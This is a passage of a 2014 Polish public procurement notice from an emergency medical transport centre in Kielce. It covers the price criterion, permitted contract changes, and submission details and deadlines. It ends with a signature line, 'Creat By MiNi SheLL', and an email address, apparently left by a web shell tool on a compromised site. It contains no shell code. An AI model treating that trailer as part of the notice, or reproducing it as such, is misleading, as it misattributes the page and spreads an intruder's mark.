<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1)	Zmiany osób przedstawionych w ofercie przetargowej do realizacji umowy, jeżeli zmiana tych osób stanie się konieczna z przyczyn niezależnych od Sprzedającego (nowe osoby powołane do pełnienia obowiązków muszą spełniać wymagania określone w specyfikacji)
2)	Zmiany osób, jeżeli Zamawiający uzna, że nie wykonują należycie swoich obowiązków
3)	Zmiany przywoływanych w przedmiotowej umowie ustaw oraz rozporządzeń, w przypadku uchwalenia nowych ustaw lub rozporządzeń mających odpowiednie zastosowanie (zmiany przepisów bądź wymogów szczególnych dotyczących przedmiotu zamówienia).
4)	Ograniczenia zakresu przedmiotu zamówienia,
5)	Obniżenia wynagrodzenia, o którym mowa w paragrafie 1
6)	Zmiany terminu wykonania przedmiotu zamówienia, w sytuacji gdyby wystąpiły okoliczności powodujące, że wykonanie zamówienia nie jest możliwe do wykonania w terminie, o którym mowa w SIWZ, z przyczyn leżących po stronie Wykonawcy i Zamawiającego, przedłużenia się procedury przetargowej.
7)	zmiany terminu realizacji przedmiotu umowy- przesunięcie przy wcześniejszym wykorzystaniu ilości z umowy obecnie obowiązującej, a w przypadku nie wybrania w całości przedmiotu zamówienia do wyczerpania asortymentu, nie dłużej niż do r. od daty zawarcia umowy po cenach zawartych w umowie
8)	zmiany numeru konta, o którym mowa w paragrafie 4 umowy.
9)	Zmiany o charakterze niezależnym od stron, którego strony nie mogły przewidzieć przed zawarciem umowy, urzędowa zmiana stawek podatku VAT,  z uwagi na niezależne od stron okoliczności tj. choroba, wypadki losowe, nieprzewidziane zmiany organizacyjne, dotyczące osób reprezentujących strony, zmiana banków, zmiany danych teleadresowych zapisanych w umowie, zmiany lub innej istotnej zmiany w ilości jakiegokolwiek elementu prac objętych umową, zmiany wymogów szczególnych zaistnienie okoliczności leżących po stronie Zamawiającego, w szczególności spowodowanych warunkami organizacyjnymi.
10)	Zamiany numeru kat. produktu w przypadku zaprzestania produkcji przedmiotu zamówienia (udokumentowanej) z oferty, dopuszczając produkt zamienny pod warunkiem, że będzie on spełniał wszystkie parametry opisane przez Zamawiającego, zmiana po akceptacji przez Zamawiającego/
11)	Zmiana warunków umowy wymaga formy pisemnej pod rygorem nieważności.
12)	 Dopuszcza się niewielkie odstępstwa w ilościach zamawianego przedmiotu umowy w ramach wartości brutto umowy (w granicach do 20%).
13)2.	Zmiana stawek podatkowych VAT (+,-) nastąpi z dniem obowiązywania, pod warunkiem udokumentowania podstawy  prawnej zmiany.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.scrmits.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Świętokrzyskie Centrum Ratownictwa Medycznego i Transportu Sanitarnego w Kielcach, 25-040 Kielce, ul. Pakosz 72, Sekcja Zamówień Publicznych Inwestycji i Remontów, pokój nr 301..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 30.10.2014 godzina 12:00, miejsce: Świętokrzyskie Centrum Ratownictwa Medycznego i Transportu Sanitarnego w Kielcach, 25-040 Kielce, ul. Pakosz 72, Sekcja Zamówień Publicznych Inwestycji i Remontów, pokój nr 301..</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com